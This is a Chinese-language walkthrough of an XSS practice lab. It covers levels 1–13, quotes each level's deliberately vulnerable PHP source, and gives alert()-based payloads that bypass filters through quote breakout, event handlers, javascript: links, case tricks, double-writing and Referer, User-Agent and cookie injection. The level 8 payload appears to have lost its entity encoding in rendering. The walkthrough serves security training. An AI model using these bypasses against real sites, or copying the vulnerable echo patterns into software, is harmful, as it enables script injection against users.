level 1(直接注入)
观察URL,在参数name处上传JS代码进行测试,GET传参,出现弹窗。
Payload:<script>alert('xss')</script>
level 2(闭合双引号注入)
直接插入level 1中的JS代码<script>alert("XSS")</script>,并没有出现弹窗,通过右键查看网页源代码,发现我们输入的JS代码在双引号内,因此需要通过闭合双引号进行绕过。
Payload:"><script>alert('xss')</script><"
level 3 (onclick单引号绕过)
直接插入level 1的JS代码<script>alert("XSS")</script>,没有出现弹窗,通过查看网页源代码,发现我们插入的JS代码依旧被转义了,可以通过onclick函数可以绕过,可以理解为:不再生成JS代码,而是直接变成一个点击事件,这里还要注意要用单引号进行闭合。Payload:' onclick ='javascript:alert(1)'//,点击搜索框跳出弹窗。
level 4(onclick双引号绕过)
与level 3相似,都是输入的JS代码被转义,也可以通过onclick函数进行绕过,只不过这一关是双引号闭合,Payload:" onclick ='javascript:alert("XSS")'//,点击搜索框跳出弹窗。
level 5(JavaScript伪协议)
1、直接插入level 1中的JS代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现将原本的<script>变成了<scr_ipt>。
2、插入level 4中的payload" onclick ='javascript:alert("XSS")'//,也是未出现弹窗,右键查看源代码,发现原本的onclick变成了o_nclick。
3、考虑可以构造一个Payload闭合原有标签,重新创建一个新的标签a,在标签a引用script 超链接调用弹窗。Payload:"><a href="javascript:alert("XSS")">link</a>,最后点击一下link,就会跳出弹窗。
level 6(JavaScript伪协议+大小写绕过)
这一关主要是利用了HTML对大小写不敏感进行绕过。
1、直接插入level 1中的JS代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码, 发现将原本的<script>变成了<scr_ipt>,这里与level 5有些相似。
2、我们插入level 5中植入的代码"><a href="javascript:alert("XSS")">link</a>,发现并未出现弹窗,再次右键查看源代码,发现href变成了hr_ef,这里我们考虑大小写绕过,
Payload:"><a Href="javascript:alert(1)
,最后随意点击一处空白就可以出现弹窗。
其他方式:
我这里也试了一下,双引号闭合+大小写绕过,也是会出现弹窗的,答案不唯一,payload:"><scRipt>alert("XSS")</script>。
level 7(双写绕过标签过滤)
1、植入level 1中的JS代码<script>alert("XSS")></script>,未出现弹窗,右键查看源代码,发现script被过滤了。
2、通过查看文件的源码,发现通过代码层对我们输入的内容进行了一套循环过滤。
文件源代码:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); //strtolower函数将获取到的参数全部转化为小写
$str2=str_replace("script","",$str); //过滤了script
$str3=str_replace("on","",$str2); //过滤了on
$str4=str_replace("src","",$str3); //过滤了src
$str5=str_replace("data","",$str4); //过滤了data
$str6=str_replace("href","",$str5); //过滤了href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
3、考虑双写+闭合双引号进行绕过,Payload:"><scscriptript>alert("XSS")</scscriptript>,随意点击空白处出现弹窗。
level 8(ASCII编码绕过)
1、插入level 7中的JS代码"><scscriptript>alert("XSS")</scscriptript>,未出现弹窗,右键查看源代码,发现做了转义符替换和过滤处理。
2、查看文件源代码。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //这里可以利用
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
3、考虑可以使用html实体编码绕过。
将字符javascript:alert(1)转化为实体。
payload:javascript:alert(1)
level 9 (必要字段+ASCII绕过)
1、将level 8中的代码javascript:alert(1)写入后,未出现弹窗,右键查看源代码,发现提示连接不合法。
2、查看源代码。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
这里补充一下strpos()函数
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
这里多了一行代码 if(false===strpos($str7,'http://')),这里是检测传入的字符有没有http://,如果没有这个字符就会返回“您的连接不合法?有没有!“,所以我们将alert中加上这个字符就可以绕过了。payload:javascript:alert('http://')
level 10 (hidden参数传递数据)
1、插入level 1中的代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现<和>被转义
2、查看文件源代码 ,代码中对t_sort参数进行了两次过滤,考虑这里为注入点。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里补充一下Hidden :
Hidden 对象代表一个 HTML 表单中的某个隐藏输入域。
这种类型的输入元素实际上是隐藏的。这个不可见的表单元素的 value 属性保存了一个要提交给 Web 服务器的任意字符串。如果想要提交并非用户直接输入的数据的话,就是用这种类型的元素。
onmouseover 事件:
onmouseover 事件会在鼠标指针移动到指定的元素上时发生。
这里提供两种注入方式
一、绑定onmouseover 事件,需要注意的是,代码中的type="hidden",这个属性会隐藏表单,这样我们就找不到要点击的地方了,这里需要我们手动添加type,paylosd:t_sort=" onmouseover='alert("XSS")' type="text,这里需要鼠标移过去来触发弹窗。
二、绑定onclick事件,与前面不同的是,这里需要点击鼠标才会触发弹窗。payload:t_sort=" onclick='alert("XSS")' type="text
level 11 (REFERER头注入)
1、插入level 1中的代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现<和>被转义
2、查看文件源代码。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
通过代码,可以看到t_sort被htmlspecialchars函数转义了。$str33
只是过滤了>
和<,可以将这里作为注入点,
只需要携带一个注入的语句访问网站就可以了。Payload:"onclick='alert("XSS")' type="text
level 12(USER_AGENT注入)
1、右键查看源代码。
2、查看文件源代码。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
与level 11相似,这里注入点是USER_AGENT,Payload:" onclick='alert(1)' type="text
level 13 (COOKIE注入)
1、右键查看源代码,猜测是cookie注入。
2、Payload:user=" onclick='alert(1)' type="text